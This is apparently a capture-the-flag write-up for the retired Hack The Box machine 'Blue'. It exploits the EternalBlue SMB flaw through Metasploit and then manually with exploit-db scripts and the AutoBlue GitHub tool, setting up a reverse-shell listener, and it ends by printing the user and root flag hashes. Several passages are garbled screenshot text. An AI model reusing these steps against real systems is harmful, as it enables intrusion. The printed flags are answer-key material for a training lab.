Nmap:
Played around with smb but nothing came up really, let’s do some vuln scans
Alright we got one let’s exploit
Let’s try it both ways
- Msf console:
Since we have guest access and RPORT default is correct, we only need to set the RHOST right.
After running running this module we got shell as system -> root
Here we can see there are two users. Admin and haris, let’s first take the user flag.
And as last take root flag
- The manual way.
First let us look up some known exploits in exploit-db using searchsploit
![Exploit Titte
Microsoft windows 7/2008 R2 •
Microsoft windows 7/8.1/2008
Microsoft windows 8/8.1/2012
Shell codes: NO Result
Paper Title
searchsploit eternalblue
I (/usr/share/exploitdb,•')
'Eternaldlue' SMB Remote Code Execution (MSI I exploits/windows/remote/42631.py
'Eternalelue' sma Remote I exploits/windows/remote/4231S .py
R2/2012 R2,'2016 82
-10.10
-10.10
R2 (X64)
- 'EternalB1ue• SMB Remote code
How to Exploit ETERNAL BLUE and DOUBLEPULSAR on Windows 7/2668
How to Exploit ETERNALdLUE on windows server 2012 R2
Exec I exploits/windows x86-64,' remote/42030.p,
/ us r/share/exploi tdb• papers/ )
doc ish/41896• how to exploit •eternal blue
docs/engIish/42280•how• to • exploit •eternalblue
doc s/spanish/41897- I spanish] -how- to - exploit-et
docs/ spanish/42281- I spanishl -how- to - exploit-et
[Spanish]
I Spanish]
4231S _py
to Exploit ETERNALBLUE
How to Exploit ETERNALBLUE
and DOUBLEPULSAR on windows 7/
rootekati : —'Documents/HTB/Btue
root@kati —'Documents/HTB/Btue
rootekati : —'Documents/HTB/Btue-10.10.10
on
.10
.10
windows server 2012 82
.40. RETIRED* mkdir exploit
.40.RETIRED* cd exploit,'
cp /usr/share/exploitdb/exploits/windows/remote/42315.pv](https://lh3.googleusercontent.com/76qKCNrPw5KmkokRG1grAPT2cstV9x92w_klMIQpWsN6zoJ9mlYSMSIpyJxPIqC4-6VLzrp9Ko7l5m7MYQH1m3nJziYB3AubTHVgX8BYBjfoYrBrzlkdH8W9MkGgBeK1-2JPJF0)
We found 42315.py and copied it to our working directory
Here we analyzed it and decided to look for an already adapted script. This one is a POC which creates a pwn.txt file in the root directory. We could change that ourself but why put in effort if there are ready to go scripts on github?
https://github.com/3ndG4me/AutoBlue-MS17-010
Downloaded it in our /opt directory and started the procedure.
- Check if target is vulnerable (we know it is but we will still do the check)
As we thought, target is vulnerable
- Now we need to prep a shell, let’s do this
- Make the payload!
Go into the shellcode dir and execute the .shell_prep.sh
- Make the listener
Navigate to main dir and execute ./listener_prep.sh
![Machine generated alternative text:
Enternal Blue Metasploit Listener
LHOST for reverse connection:
10.10. 14.16
LPORT for x64 reverse connection:
8844
L PORT for x86 reverse connection:
18845
Enter O for meterpreter shell or 1 for regular cmd shell:
1
Type O if this is a staged payload or I if it is for a stageless payload
1
starting listener (stageless) .
[ ok ] Starting postgresql (via systemctl): postgresql.service.](https://lh5.googleusercontent.com/tkgZc24tqL572eLL8bg1PAMhjBrzzR3U89dyUdtOVRf2gUr4QFoIKghr952Zh6H-p89KKwRhdQliZzEQn4t0Eiq4Io3LdIGBq05r-6Wr-bTBEFJjoH4hq5Lfb2ON2m61LpJA_WM)
- Ready to pwn
After running this command a few times our shell has come through
We know where the flags are and we have them already. Let’s seal this one.
User: 4c546aea7dbee75cbd71de245c8deea9
Root: ff548eb71e920ff6c08843ce9df4e717
ROOTED
Pentesting with Rival 